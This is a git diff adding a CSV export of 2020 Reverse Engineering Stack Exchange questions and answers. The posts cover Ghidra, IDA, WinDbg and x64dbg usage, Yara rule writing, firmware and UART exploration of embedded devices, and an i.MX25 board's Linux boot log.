diff --git "a/stack_exchange/RE/RE Q&A 2020.csv" "b/stack_exchange/RE/RE Q&A 2020.csv" new file mode 100644--- /dev/null +++ "b/stack_exchange/RE/RE Q&A 2020.csv" @@ -0,0 +1,50299 @@ +Id,PostTypeId,AcceptedAnswerId,ParentId,CreationDate,DeletionDate,Score,ViewCount,Body,OwnerUserId,OwnerDisplayName,LastEditorUserId,LastEditorDisplayName,LastEditDate,LastActivityDate,Title,Tags,AnswerCount,CommentCount,FavoriteCount,ClosedDate,CommunityOwnedDate,ContentLicense +25103,1,,,5/1/2020 16:04,,1,598,"

I have decompiled a DLL, and in the Symbol tree, I have clicked a function. +This function looks like this in the Decompile window:

+ +
undefined4 process_something(undefined4 param_1,undefined4 param_2)
+{
+      thunk_FUN_1017e9e0(param_1,param_2);
+      return 0;
+}
+
+ +

I have right-clicked on FUN_1017e9e0, then I selected ""Rename Function"". +I have renamed it ""process_something_internal"", and ""Namespace"" was set to Global.

+ +

Now the function looks like this:

+ +
undefined4 process_something(undefined4 param_1,undefined4 param_2)
+{
+      process_something_internal1(param_1,param_2);
+      return 0;
+}
+
+ +

However, when I double click ""process_something_internal1"", it takes me to the function:

+ +
void FUN_1017e9e0(undefined4 param_1,undefined4 param_2)
+{
+    //do something
+    return;
+ }
+
+ +

Why has the function not be renamed as well?

+ +

Thank you!

+",,AntonioC,,,,6/3/2020 19:47,Renaming a function globally,,2,0,,,,CC BY-SA 4.0 +25104,2,,25103,5/14/2020 16:56,,-1,,"

This function has already been loaded and therefore it is in memory. +When you override it's name the memory reference is still the same.

+",,JuanGG,,,,5/14/2020 16:56,,,,0,,,,CC BY-SA 4.0 +25105,1,,,5/24/2020 0:37,,1,127,"

My friend gave me this cheap little chinese MP3 player. I'm curious about exploring it learning more about the hardware, and potentially seeing if I could expand it's functionality in some way or run my own code on it to make it into something simple like a digital picture frame. Anything really I'm just curious about what it could potentially do but I don't know much about how feasible that would potentially be.

+ +

It doesn't have wifi or anything just a USB port, Bluetooth (audio), and an SD card slot. When I plug it in to my computer it shows up as a USB Mass Storage Gadget, which I understand is just an interface for transferring files to it. I asked the manufacturer about the processor inside and all he told me was ""ATJ"". My main machine is a mac with an Ubuntu dual boot.

+ +

I'd just like to get an idea of what might be feasible with this device and what might not be, as well as any tools or first steps for finding out more about the hardware or potentially being able to communicate with the device over USB or through the SD card. I don't care if I brick. I'm just curious about like, if an it was someone's job to figure out anything they could about this device, or make it run ""Hello World"" or something, what steps they might take to or what tools they might use to try to accomplish that. I also might be able to ask the company for more simple details but I'm not sure how much they would provide me.

+",33322,,33322,,5/24/2020 0:46,6/14/2020 0:49,Interact with a network-less Chinese MP3 player running a modified version of Linux,,1,2,,,,CC BY-SA 4.0 +25106,1,,,5/24/2020 7:55,,2,138,"

I have to write a Yara rules for malwares that is based on assember code. Suppose I have an unpacked malware sample. To avoid false positives, the selected code must be unique. Can anyone tell me which code is suitable and which is not? For example mov eax,1 would not be a good choice. But what code would be a good criterion? What are the criterions for Yara rules based assembler codes?

+",33323,,,,,5/26/2020 0:36,Code based Yara rule,,1,1,,,,CC BY-SA 4.0 +25107,1,,,5/24/2020 13:41,,1,568,"

When using the export to C header functionality of Ghidra it keeps outputting double and triple symbols with "".conflict"" appended. When I change how the data type manager should deal with conflicts it still keeps outputting them. Does anyone know how to resolve this?

+ +

It prevents Ghidra from parsing that same output back into another version of the application.

+ +

edit: adding clarification as requested +I'm playing around with ioncube and what I'm trying to do is:

+ +
    +
  • Compile PHP with debug enabled
  • +
  • Extract type information
  • +
  • Use type information on the ioncube executable
  • +
+ +

What I mean with 'use type information' is that I want to have structures available so that I can apply them manually. However when right clicking on the type manager and exporting the 'php with debug enables' to a C header, GHIDRA is not able to import the header file.

+ +

All the issues during import seem to be in regards to anonymous structures that besides the name also receive a '.conflict' append. I've temporarily resolved this by cleaning them up manually and just create the bare minimum to import. However it would be nice to do this as intended by GHIDRA.

+ +

Hope this clarifies a bit more.

+",33303,,33303,,5/31/2020 20:23,5/31/2020 20:23,"Ghidra export to C header, how to remove "".conflict""?",,0,2,,,,CC BY-SA 4.0 +25108,1,,,5/24/2020 16:17,,0,61,"

I have unpacked and dumped a dll that uses a custom IAT to resolve Win32 API calls (143 of them). +Is there anyway to modify the dumped dll PE to include these imports dynamcially and forward their addresses to the dumped function pointer table.

+ +

See below a photo of the on disk dumped PE function table and the list of functions

+ +

+",23895,,,,,5/24/2020 16:17,Specifying DLL imports within the PE?,,0,3,,,,CC BY-SA 4.0 +25109,2,,25066,5/24/2020 17:28,,1,,"

using dotPeek finally I found the (very simple) solution:

+ +
int crcIndex = numArray.length - 2;
+buffer[crcIndex];
+
+for (int index = 1; index < buffer.length; ++index) {
+    if (index != crcIndex)
+    buffer[crcIndex] ^= buffer[index];
+}
+
+ +

Basically its a XOR walked thru every byte, skipping the CRC byte itself but including the last byte.

+ +

regards

+",33277,,,,,5/24/2020 17:28,,,,0,,,,CC BY-SA 4.0 +25110,1,,,5/25/2020 5:09,,0,246,"

I am trying to reverse engineer my routers firmware. So as the first step I took uart pins and I could login to the router through serial console. I need to export the binary files to my host system. My host PC is running ubuntu. I have tried SSH login but I am not able to login as the username and password is unknown. Also username and password is required for SCP too. So how can I copy files to host? Please suggest any method. How should I approach this situation?

+",32791,,,,,5/25/2020 5:09,reverse engineering TP link TL-WR841N router,,0,3,,,,CC BY-SA 4.0 +25111,1,25115,,5/25/2020 11:07,,4,226,"

I'm trying to debug a dll file using Ida disassembler and Windbg. +I'm debugging rundll32.exe and passing the target dll (debugee) as an argument. +I'm able to have a breakpoint on each Dll load & unload, but I'm looking for a way to debug the target dll Main function. +I want to put a breakpoint on the dispatcher of the dll main function in the loader (ntdll.dll) in order to do this. +What is the routine responsible for dll main dispatching? +My environment is windows 10 version 1809.

+",26498,,,,,5/25/2020 18:30,what routine in ntdll.dll is responsible of dispatching DllMain function of loaded dll?,,1,0,,,,CC BY-SA 4.0 +25113,1,25114,,5/25/2020 12:01,,0,437,"

I'm trying to find libc symbols in some Windows 32-bit application. For some reason, Ida autoanalysis didn't recognized code that comes from libc as ""library function"", but as a ""regular function"". Let me make it more clear with some screenshots.

+ +

My tutor got the following result (sorry for the low quality, I describe whats in it after the shot): + +This is the same image and you (maybe) can see that the malloc function at 0xE0E5DE is recognized as library function. The whole neighborhood is recognized as library function, since this section is for static-linked libc symbols.

+ +

But when I'm loading the image its a ""regular function"", and of course it doesn't resolve as malloc(): +

+ +

I tried to re-autoanalyze the code (Options --> General --> Reanalyze Program) but it didn't help. Hence I'm asking for help:

+ +
    +
  1. Is there another automatic way to make IDA ""notice"" this code comes from static linking of a library?
  2. +
  3. Maybe there is a manual way to do it? like: marking a code chunk as library function and compare it against libc?
  4. +
+ +

P.S: the app was once packed with UPX, I decompress it. I don't believe it has anything to do with this problem, but maybe it has so I'm mentioning it

+",33331,,27674,,5/25/2020 16:07,5/25/2020 16:07,ida identifies library function as regular function,,1,1,,,,CC BY-SA 4.0 +25114,2,,25113,5/25/2020 13:33,,3,,"

There can be multiple reasons.

+ +
    +
  1. the FLIRT signatures which have been loaded automatically do not have a pattern for this specific function. You can check which signatures have been applied and try loading additional ones via Signatures view (Shift-F5).

  2. +
  3. the function pattern was conflicting with another function(s) and has been dropped from the final signature file. If you have the original library with the function, you can try creating your own signature.

  4. +
  5. The function has been modified from the standard one so the matching failed

  6. +
+ +

You can try enabling FLIRT diagnostic output by stating IDA with -z4 command line switch and observe if the address in question is mentioned in the log. Maybe that will give some clues about why it hasn't been matched.

+",60,,60,,5/25/2020 13:45,5/25/2020 13:45,,,,1,,,,CC BY-SA 4.0 +25115,2,,25111,5/25/2020 18:30,,3,,"

using windbg you can set an sxe ld:Modname event break

+ +

assuming you are running this which will pop up a help gui for printers

+ +
rundll32.exe printui.dll PrintUIEntry /?
+
+ +

if you want to Break on this printUI.dll's CrtMain or AddressOfEntryPoint you can do it like this

+ +
C:\WINDOWS\system32>cdb rundll32.exe printui.dll PrintUIEntry /?
+
+Microsoft (R) Windows Debugger Version 10.0.17763.132 AMD64
+xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
+ntdll!LdrpDoDebuggerBreak+0x30:
+00007ffc`b725121c cc              int     3
+
+0:000> sxe ld:printui.dll    
+0:000> .sxcmds
+sxe ld:printui.dll ;
+
+0:000> g
+ModLoad: 00007ffc`a04e0000 00007ffc`a058d000   C:\WINDOWS\system32\printui.dll
+ntdll!NtMapViewOfSection+0x14:
+00007ffc`b721c5c4 c3              ret
+
+0:000> .lastevent
+Last event: 1d84.293c: Load module C:\WINDOWS\system32\printui.dll at 00007ffc`a04e0000
+  debugger time: Mon May 25 23:55:59.235 2020 
+
+0:000> .shell -ci ""!dh 00007ffc`a04e0000"" findstr /I Entry
+    3CA0 address of entry point
+.shell: Process exited
+
+0:000> bp 00007ffc`a04e0000+3ca0
+0:000> bl
+ 0 e 00007ffc`a04e3ca0     0001 (0001)  0:**** printui!DllMainCRTStartup
+0:000> g
+ModLoad: 00007ffc`b5950000 00007ffc`b59f3000   C:\WINDOWS\System32\ADVAPI32.dll
+xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
+Breakpoint 0 hit
+printui!DllMainCRTStartup:
+00007ffc`a04e3ca0 48895c2408 mov qwordptr[rsp+8],rbx ss:0000009a`5918edd0=0000000000000000
+
+ +

and you can see the call stack to find all the responsible calls that leads to this break

+ +
0:000> k
+Child-SP          RetAddr           Call Site
+0000009a`5918edc8 00007ffc`b71a50a1 printui!DllMainCRTStartup
+0000009a`5918edd0 00007ffc`b71e9405 ntdll!LdrpCallInitRoutine+0x65
+0000009a`5918ee40 00007ffc`b71e91f8 ntdll!LdrpInitializeNode+0x1b1
+0000009a`5918ef80 00007ffc`b71aaa97 ntdll!LdrpInitializeGraphRecurse+0x80
+0000009a`5918efc0 00007ffc`b71a2591 ntdll!LdrpPrepareModuleForExecution+0xbf
+0000009a`5918f000 00007ffc`b71a22a8 ntdll!LdrpLoadDllInternal+0x199
+0000009a`5918f080 00007ffc`b71a1764 ntdll!LdrpLoadDll+0xa8
+0000009a`5918f230 00007ffc`b43e56f0 ntdll!LdrLoadDll+0xe4
+0000009a`5918f320 00007ff7`ff62356e KERNELBASE!LoadLibraryExW+0x170
+0000009a`5918f390 00007ff7`ff623aff rundll32!_InitCommandInfo+0x82
+0000009a`5918f7e0 00007ff7`ff6262d9 rundll32!wWinMain+0x1ef
+0000009a`5918fa50 00007ffc`b6287bd4 rundll32!__wmainCRTStartup+0x1c9
+0000009a`5918fb10 00007ffc`b71eced1 KERNEL32!BaseThreadInitThunk+0x14
+0000009a`5918fb40 00000000`00000000 ntdll!RtlUserThreadStart+0x21
+
+",3473,,,,,5/25/2020 18:30,,,,1,,,,CC BY-SA 4.0 +25116,2,,25106,5/26/2020 0:36,,2,,"

Agree with Robert - The common way to avoid false positives is having a large software pool of known benign software you can check your rules with.

+ +

If you are just starting to write yara rules then concentrate on the easy way that is strings, write yara rules based on the unique strings.

+ +

To answer this: +Can anyone tell me which code is suitable and which is not? What are the criterions for Yara rules based assembler codes?

+ +

Some of the criteria which you can use:

+ +
    +
  • Any single line assembly code will be bad choice, you will need few lines of assembly code
  • +
  • Write yara rule based on custom encryption/decryption loop with +unique key
  • +
  • Don't take standard encryption/decryption like RC4 for +yara rule, that's why I said custom in above point
  • +
  • Don't include yara rule with too many address offset as it may not hit another hash
  • +
  • Wild card address offset to hit different hashes of the same malware family
  • +
  • Take a code pattern which is performing some unique steps which is +specific to this malware sample
  • +
  • Mixture of few strings and assembly code should give you good result
  • +
+ +

This above list is not a comprehensive criteria but you will learn more by doing it and looking through existing Yara rules.

+ +

Check this repository for different type of Yara Rules, you will get some idea for strings and assembly code Yara rules: +https://github.com/Yara-Rules/rules

+",33334,,,,,5/26/2020 0:36,,,,0,,,,CC BY-SA 4.0 +25117,1,,,5/26/2020 1:35,,1,104,"

I am newish to reverse engineering and have a question about a problem with IDA Pro. I am trying to reverse engineer an old mmo game. Anyone know why dword_ calls show as ""dd ?""? Float numbers and plain text shows up in the .rdata section except for dwords. Is this of any importance in reverse engineering said application?

+",33336,,,,,5/26/2020 1:35,Reverse engineering old mmo,,0,0,,,,CC BY-SA 4.0 +25118,1,,,5/26/2020 1:36,,1,2440,"

When reverse engineering a big application, it can be very useful to be able to see the network traffic it generates.

+ +

Because of this, many applications use HTTPS to communicate with their servers. Bypassing this has become easy to do with tools like Charles (SSL Proxy).

+ +

As a result, some applications have begun to use Certificate Pinning which does not allow a proxy to intercept traffic.

+ +

What are some solutions around this problem, ideally, I'm looking for a methodology, tools and techniques to do this in Windows applications.

+",33335,,245,,5/26/2020 14:45,5/26/2020 14:45,How to bypass SSL certificate pinning on Windows 10,,0,4,,,,CC BY-SA 4.0 +25119,1,,,5/26/2020 3:50,,2,28,"

I'm looking at a problem with app that has lost source code and the app crashes shortly after calling code that appears to be [Global Variable representing Form Object].ZOrder 0 (i.e. trying to make the form visible) +There are multiple forms so I am trying to work out specifically which form is being accessed. +To work this out I made some sample code like this:

+ +
Public gFormToActivate As Form
+
+Private Sub cmddoDo_Click()
+    gsCurrentLine = ""START: Set gFormToActivate = FormDoDo""
+    Set gFormToActivate = FormDoDo
+    gsCurrentLine = ""END: Set gFormToActivate = FormDoDo""
+    gsCurrentLine = ""START: Me.Hide""
+    Me.Hide
+    gsCurrentLine = ""END: Me.Hide""
+End Sub
+
+ +

The ZOrder is later set using code like this:

+ +
Private Sub Command1_Click()
+    FormDoDo.Show
+    FormDada.Show
+    Form2.Show vbModal
+    gsCurrentLine = ""START: gFormToActivate.ZOrder 0""
+    gFormToActivate.ZOrder 0
+    gsCurrentLine = ""END: gFormToActivate.ZOrder 0""
+End Sub
+
+ +

Using IDA Pro I look at the disassembly:

+ +
    .text:00403674 C7 45 D4 18 2B 40 00                                            mov     dword ptr [ebp-2Ch], offset aStartSetGformt ; ""START: Set gFormToActivate = FormDoDo""
+    .text:0040367B C7 45 CC 08 00 00 00                                            mov     dword ptr [ebp-34h], 8
+    .text:00403682 FF D7                                                           call    edi ; __vbaVarCopy
+    .text:00403684 A1 24 40 40 00                                                  mov     eax, dword_404024
+    .text:00403689 85 C0                                                           test    eax, eax
+    .text:0040368B 75 10                                                           jnz     short loc_40369D
+    .text:0040368D 68 24 40 40 00                                                  push    offset dword_404024
+    .text:00403692 68 60 15 40 00                                                  push    offset dword_401560
+    .text:00403697 FF 15 4C 71 40 00                                               call    ds:__vbaNew2
+    .text:0040369D
+    .text:0040369D                                                 loc_40369D:                             ; CODE XREF: .text:0040368B↑j
+    .text:0040369D 8B 0D 24 40 40 00                                               mov     ecx, dword_404024
+    .text:004036A3 68 E4 26 40 00                                                  push    offset dword_4026E4
+    .text:004036A8 51                                                              push    ecx
+    .text:004036A9 FF 15 70 71 40 00                                               call    ds:__vbaCastObj
+    .text:004036AF 50                                                              push    eax
+    .text:004036B0 68 60 40 40 00                                                  push    offset dword_404060
+    .text:004036B5 FF 15 08 71 40 00                                               call    ds:__vbaObjSet
+    .text:004036BB 8D 55 CC                                                        lea     edx, [ebp-34h]
+    .text:004036BE 8D 4D DC                                                        lea     ecx, [ebp-24h]
+    .text:004036C1 C7 45 D4 68 2B 40 00                                            mov     dword ptr [ebp-2Ch], offset aEndSetGformtoa ; ""END: Set gFormToActivate = FormDoDo""
+
+ +

Based on this I suspected form variable might be stored at ""offset dword_404060"". Any suggestions on good next steps to work out in more detail how to get the properties of this object? In WinDbg looking a this address shows the following. I have been reviewing http://sandsprite.com/vb-reversing/files/Alex_Ionescu_vb_structures.pdf to better understand VB structures but haven't worked out a solution yet

+",2229,,,,,5/26/2020 3:50,Find the caption of VB5/6 Form Object in Memory Dump,,0,0,,,,CC BY-SA 4.0 +25120,1,25234,,5/26/2020 7:12,,0,134,"

I've been probing this CCTV DVR board trying to find a serial port to see if I can get console access to it. I found a set of 4 through holes with no headers that looked like a good candidate. I hooked up to my Bus Pirate in UART mode at a baud rate of 115200 and it seemed promising at first:

+ +
System startup
+
+U-Boot 2010.06 (Dec 27 2018 - 17:06:41)
+
+Check Flash Memory Controller v100 ... Found
+SPI Nor(cs 0) ID: 0xc2 0x20 0x18
+Block:64KB Chip:16MB Name:""MX25L128XX""
+SPI Nor total size: 16MB
+*** Warning - bad CRC, using default environment
+
+In:    serial
+Out:   serial
+Err:   serial
+
+ +

Then things get weird. The next line has legible text but some garbage in it, then after that nothing but garbage:

+ +
�P���Starting the controller
++*/�)))!)       �!�+!%) !      �)*+��
+
+%+���5�!                                -��5�!
+        !�!
+           +-���
+                !���
+�%      %!-     �)�����+��+     !       %!!5!!�)!+!
++)      %%�+
+                %!5                                                                                                                                                                                          )
+                   ��)5 !5)!)   %               �)!%
+        -
+         %)     )       5)�-�
+!                               )��!�   !
+ -      )!
+%-
+  !%!   !       !
+
+!��
+%)!�%   %%)!    !�      �
+%!�))   !)!)!)!%-
+�-))!   ��      ��)))!! ��%
+�%!)�!)%)�))%              �)           %-%+�
+�)      !�5�    !       �               !       -!!
+            )%!
+��)�)%�)���)
+
+ +

Is this because the baud rate is suddenly changing? Or is it more likely that the output is switching to some proprietary format?

+ +

I also didn't have a super solid connection to the board when trying this, could it be that the connection dropped and then reconnected out of sync or something?

+",33229,,,,,6/8/2020 3:16,Can a UART port change baud rate at runtime?,,1,3,,,,CC BY-SA 4.0 +25121,2,,17396,5/26/2020 9:05,,1,,"

A couple of years of experience later, I revisited this project and figured it out! +The compression is in fact LZSS, and the QuickBMS script from my question is able to decompress it correctly. The second section I mentioned was problematic just because there are uncompressed blocks in between compressed blocks in the chip dump, so, obviously, they need to be extracted and decompressed separately.

+ +

If anyone is interested in understanding LZSS properly, I really liked the way it was explained in the book ""Retrogame Archeology: Exploring Old Computer Games"", page 104 (can be viewed for free on Google books).

+ +

Thanks all for helping, I could not have figured it out without an amazing community here! :)

+",23171,,,,,5/26/2020 9:05,,,,1,,,,CC BY-SA 4.0 +25124,1,,,5/26/2020 15:42,,1,359,"

How to log CPU instructions executed by program with x64dbg?

+ +

I saw x64dbg - see the current position? question, but I can't find the way to log instructions.

+ +

Thanks!

+",33342,,,,,6/20/2021 21:05,How to log CPU instructions executed by program with x64dbg?,,1,4,,,,CC BY-SA 4.0 +25126,2,,25124,5/26/2020 18:11,,1,,"

As far as I understand reading your comments - you want to log all the executed instructions in the file. To do this you need to:

+ +
    +
  1. Pause the program, either via Pause option (F12) or using breakpoints
  2. +
  3. Select Trace menu and then Trace into... (Ctrl+Alt+F7) or Trace over... (Ctrl+Alt+F8). If you want to log every instruction you probably want to use Trace into...
  4. +
  5. Now in the newly created window +
  6. +
+ +

you can select the Log Text format, you can use the proposed 0x{p:cip} {i:cip} which will log the data to file like 0x006E8749 mov ebp, esp. It is also good idea to set the Maximum trace count and the Log File... where the data will be stored. After you are done just press OK and the x64dbg will start executing your program and log all the instructions. Keep in mind that the program won't work really fast during the trace procedure.

+",21109,,,,,5/26/2020 18:11,,,,3,,,,CC BY-SA 4.0 +25129,2,,5830,5/27/2020 7:19,,1,,"

Generally, the solutions to this problem can be classified to:

+ +
    +
  • Pattern matching heuristics. Just like what you are proposing. For example, searching for pushes in the binary can provide a (rather) rough approximation of function starts. Things are more difficult if you want to locate function ends though.

  • +
  • Machine learning. Pattern matching can be automated using machine learning. There are several proposals in the literature like [1], [2], and [3]. All of which attempt to learn byte-level features of function starts and ends. However, modern compiler optimizations make it challenging for such approaches to generalize to binaries beyond the training set.

  • +
  • CFG-based techniques. This is the most promising approach based on [4] (disclosure: first author here) and concurrently [5]. Basically, it proceeds with (1) direct call target analysis, (2) CFG traversal to locate function ends, and (3) tail-call target analysis.

  • +
  • Call frame information (CFI) records. Before doing anything fancy, checkout the CFI records in the .eh_frame section. There is a good chance that functions are defined there already. In order to dump CFI records, you can use something like readelf --debug-dump=frames /bin/ls.

  • +
+ +

I've recently revisited the problem of function identification in this blog post where I provide more details.

+",11828,,,,,5/27/2020 7:19,,,,1,,,,CC BY-SA 4.0 +25130,1,,,5/27/2020 7:22,,-1,92,"

I want to change values of all WORD array of 4 elements by one step using QWORD PTR

+ +
mov ebx, OFFSET arr ; arr is WORD of 1,2,3,4 
+xor qword ptr [ebx], 8000800080008000h ; I get error of constant value too large
+
+",33345,,31278,,5/27/2020 13:37,5/27/2020 13:37,Can I traverse the entire WORD array of 4 elements with QWORD PTR?,,1,0,,,,CC BY-SA 4.0 +25131,2,,25130,5/27/2020 8:17,,1,,"

In the xor specification, that you can see here, there is no version of xor with imm64 - an immediate value of 64 bits.

+ +

You can do something like this:

+ +
mov rcx, 0x8000800080008000
+xor qword ptr [rbx], rcx
+
+ +

Note that the register in the xor command must be r64 type (rax, rbx, ...) and not the r32 type (eax, ebx, ...)

+",31278,,,,,5/27/2020 8:17,,,,2,,,,CC BY-SA 4.0 +25132,1,,,5/27/2020 8:53,,1,233,"

I need to duplicate an old embedded board based on a Yocto-based Linux.

+

I have bought a new board with the same part number and now I need to put the old software in the new board (the new board has only u-boot installed).

+

The original board has u-boot with few command list, so I had to dumped the memory by serial terminal.

+

I got some file in .txt with the internal memory data and I convert them in .bin with Linux xxd -r command and i put the data in my new board.

+

When I turn on my new board, the Linux kernel starts but it can't find the partition and stops to work and says:

+
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(2,0)
+
+

OLD BOARD BOOT:

+
U-Boot 2009.01 (May 28 2011 - 03:25:24)
+
+CPU:   Freescale i.MX25 at 398 MHz
+Board: GEA_M6425 
+I2C:   ready
+DRAM:  64 MB
+NAND:  Bad block table found at page 131008, version 0x01
+Bad block table found at page 130944, version 0x01
+256 MiB
+NAND read: device 0 offset 0xc0000, size 0x40000
+    262144 bytes read: OK
+In:    serial
+Out:   serial
+Err:   serial
+i2c_addr:chip address cycle fail(a1)
+Net:   miiphy_register: non unique device name 'FEC0'
+FEC0, FEC0
+Version: 
+Note:    
+Auto-update from TFTP: trying update file 'prog.scr'
+FEC: enable RMII gasket
+Using FEC0 device
+TFTP from server 192.168.140.12; our IP address is 192.168.140.30
+Filename 'prog.scr'.
+Load address: 0x81000000
+Loading: *T T T T T T T T T T T T T T T T T T T T 
+Retry count exceeded; starting again
+Can't load update file, aborting auto-update
+Auto-update from NAND:
+NAND read: device 0 offset 0x1000000, size 0x20
+    32 bytes read: OK
+No image found.
+Hit any key to stop autoboot:  3  2  1  0 
+NAND read: device 0 offset 0x100000, size 0x300000
+    3145728 bytes read: OK
+## Booting kernel from Legacy Image at 81000000 ...
+    Image Name:   Linux-2.6.31-rc9
+    Image Type:   ARM Linux Kernel Image (uncompressed)
+    Data Size:    2318824 Bytes =  2.2 MB
+    Load Address: 80008000
+    Entry Point:  80008000
+    Verifying Checksum ... OK
+    Loading Kernel Image ... OK
+OK
+Starting kernel ...
+Uncompressing Linux....................................................................................................................................................... done, booting the kernel.
+Linux version 2.6.31-rc9 (user@evelin) (gcc version 4.1.2) #1 PREEMPT Tue Sep 27 21:35:47 CEST 2011
+CPU: ARM926EJ-S [41069264] revision 4 (ARMv5TEJ), cr=00053177
+CPU: VIVT data cache, VIVT instruction cache
+Machine: Freescale MX25 3-Stack Board
+Ignoring unrecognised tag 0x54410008
+Memory policy: ECC disabled, Data cache writeback
+Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256
+Kernel command line: console=ttymxc0,115200 root=/dev/mtdblock2 rootfstype=jffs2 video=mxcfb:320x240,16bpp,Var-QVGA
+PID hash table entries: 256 (order: 8, 1024 bytes)
+Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
+Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
+Memory: 64MB = 64MB total
+Memory: 59916KB available (4264K code, 484K data, 124K init, 0K highmem)
+NR_IRQS:272
+MXC IRQ initialized
+Clock input source is 24000000
+Console: colour dummy device 80x30
+Calibrating delay loop... 199.06 BogoMIPS (lpj=995328)
+Mount-cache hash table entries: 512
+CPU: Testing write buffer coherency: ok
+regulator: core version 0.5
+NET: Registered protocol family 16
+AIPS1 VA base: 0xfc000000
+CPU is i.MX25 Revision 1.0
+MXC GPIO hardware
+rate 22166666
+Using SDMA I.API
+MXC DMA API initialized
+bio: create slab <bio-0> at 0
+SCSI subsystem initialized
+usbcore: registered new interface driver usbfs
+usbcore: registered new interface driver hub
+usbcore: registered new device driver usb
+MXC I2C driver
+i2c-adapter i2c-0: ACK not received 
+NET: Registered protocol family 2
+IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
+TCP established hash table entries: 2048 (order: 2, 16384 bytes)
+TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
+TCP: Hash tables configured (established 2048 bind 2048)
+TCP reno registered
+NET: Registered protocol family 1
+Bus freq driver module loaded
+usb: Host 2 host (serial) registered
+usb: DR host (utmi) registered
+JFFS2 version 2.2. (NAND) (SUMMARY)  © 2001-2006 Red Hat, Inc.
+SGI XFS with security attributes, large block/inode numbers, no debug enabled
+msgmni has been set to 117
+alg: No test for stdrng (krng)
+io scheduler noop registered
+io scheduler anticipatory registered
+io scheduler deadline registered
+io scheduler cfq registered (default)
+MXC Backlight Device mxc_lcdc_bl.0 Initialized.
+Console: switching to colour frame buffer device 40x30
+mxc_sdc_fb mxc_sdc_fb.0: fb0: DISP0 BG fb device registered successfully.
+mxc_sdc_fb mxc_sdc_fb.0: fb1: DISP0 FG fb device registered successfully.
+Serial: MXC Internal UART driver
+mxcintuart.0: ttymxc0 at MMIO 0x43f90000 (irq = 45) is a Freescale i.MX
+console [ttymxc0] enabled
+mxcintuart.1: ttymxc1 at MMIO 0x43f94000 (irq = 32) is a Freescale i.MX
+mxcintuart.2: ttymxc2 at MMIO 0x5000c000 (irq = 18) is a Freescale i.MX
+brd: module loaded
+loop: module loaded
+Freescale FlexCAN Driver 
+FEC Ethernet Driver
+fec_enet_mii_bus: probed
+IEEE1588: ptp-timer is unavailable
+console [netcon0] enabled
+netconsole: network logging started
+MXC MTD nand Driver 2.5
+NAND device: Manufacturer ID: 0x20, Chip ID: 0xaa (ST Micro NAND 256MiB 1,8V 8-bit)
+Searching for RedBoot partition table in NAND 256MiB 1,8V 8-bit at offset 0xff60000
+No RedBoot partition table detected in NAND 256MiB 1,8V 8-bit
+Creating 5 MTD partitions on "NAND 256MiB 1,8V 8-bit":
+0x000000000000-0x000000100000 : "nand.bootloader"
+0x000000100000-0x000000400000 : "nand.kernel"
+0x000000400000-0x00000fc00000 : "nand.rootfs"
+0x00000fc00000-0x00000fd00000 : "nand.configure"
+0x00000fd00000-0x000010000000 : "nand.userfs"
+ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
+fsl-ehci fsl-ehci.0: Freescale On-Chip EHCI Host Controller
+fsl-ehci fsl-ehci.0: new USB bus registered, assigned bus number 1
+fsl-ehci fsl-ehci.0: irq 35, io base 0x53ff4400
+fsl-ehci fsl-ehci.0: USB 2.0 started, EHCI 1.00
+usb usb1: configuration #1 chosen from 1 choice
+hub 1-0:1.0: USB hub found
+hub 1-0:1.0: 1 port detected
+fsl-ehci fsl-ehci.1: Freescale On-Chip EHCI Host Controller
+fsl-ehci fsl-ehci.1: new USB bus registered, assigned bus number 2
+fsl-ehci fsl-ehci.1: irq 37, io base 0x53ff4000
+fsl-ehci fsl-ehci.1: USB 2.0 started, EHCI 1.00
+usb usb2: configuration #1 chosen from 1 choice
+hub 2-0:1.0: USB hub found
+hub 2-0:1.0: 1 port detected
+Initializing USB Mass Storage driver...
+usbcore: registered new interface driver usb-storage
+USB Mass Storage support registered.
+mice: PS/2 mouse device common for all mice
+i.MX ADC at 0x50030000 irq 46
+sdhci: Secure Digital Host Controller Interface driver
+sdhci: Copyright(c) Pierre Ossman
+mxsdhci: MXC Secure Digital Host Controller Interface driver
+mxsdhci: MXC SDHCI Controller Driver. 
+mmc0: SDHCI detect irq 161 irq 9 INTERNAL DMA
+Advanced Linux Sound Architecture Driver Version 1.0.20.
+regulator: Unable to get requested regulator: VDDIO
+regulator: Unable to get requested regulator: VDDA
+regulator: Unable to get requested regulator: VDDD
+sgtl5000-i2c 0-000a: SGTL5000 revision 17
+No device for DAI imx-ssi-1-0
+No device for DAI imx-ssi-1-1
+No device for DAI imx-ssi-2-0
+No device for DAI imx-ssi-2-1
+DMA Sound Buffers Allocated:UseIram=0 buf->addr=83ab0000 buf->area=fde56000 size=65536
+DMA Sound Buffers Allocated:UseIram=0 buf->addr=83ac0000 buf->area=fde66000 size=65536
+asoc: SGTL5000 <-> imx-ssi-1-0 mapping ok
+ALSA device list:
+    #0: imx-3stack (SGTL5000)
+oprofile: using timer interrupt.
+TCP cubic registered
+NET: Registered protocol family 17
+can: controller area network core (rev 20090105 abi 8)
+NET: Registered protocol family 29
+can: raw protocol (rev 20090105)
+RPC: Registered udp transport module.
+RPC: Registered tcp transport module.
+Static Power Management for Freescale i.MX25
+on-off key pressed
+input: imx_adc_ts as /class/input/input0
+i.MX ADC input touchscreen loaded.
+JFFS2 doesn't use OOB.
+VFS: Mounted root (jffs2 filesystem) on device 31:2.
+Freeing init memory: 124K
+
+init started: BusyBox v1.15.3 (2011-09-27 21:22:33 CEST)
+starting pid 898, tty '': '/etc/init.d/rcS'
+Initializing mdev dynamic device directory ... done
+eth0: Freescale FEC PHY driver [Generic PHY] (mii_bus:phy_addr=0:00, irq=-1)
+
+can0 bitrate: 175000
+dropbear already configured
+Starting Dropbear SSH server: dropbear.
+ts already configured
+
+starting pid 939, tty '/dev/ttymxc0': '-/bin/sh'
+
+BusyBox v1.15.3 (2011-09-27 21:22:33 CEST) built-in shell (ash)
+Enter 'help' for a list of built-in commands.
+
+/ # 
+
+

NEW BOARD BOOT:

+
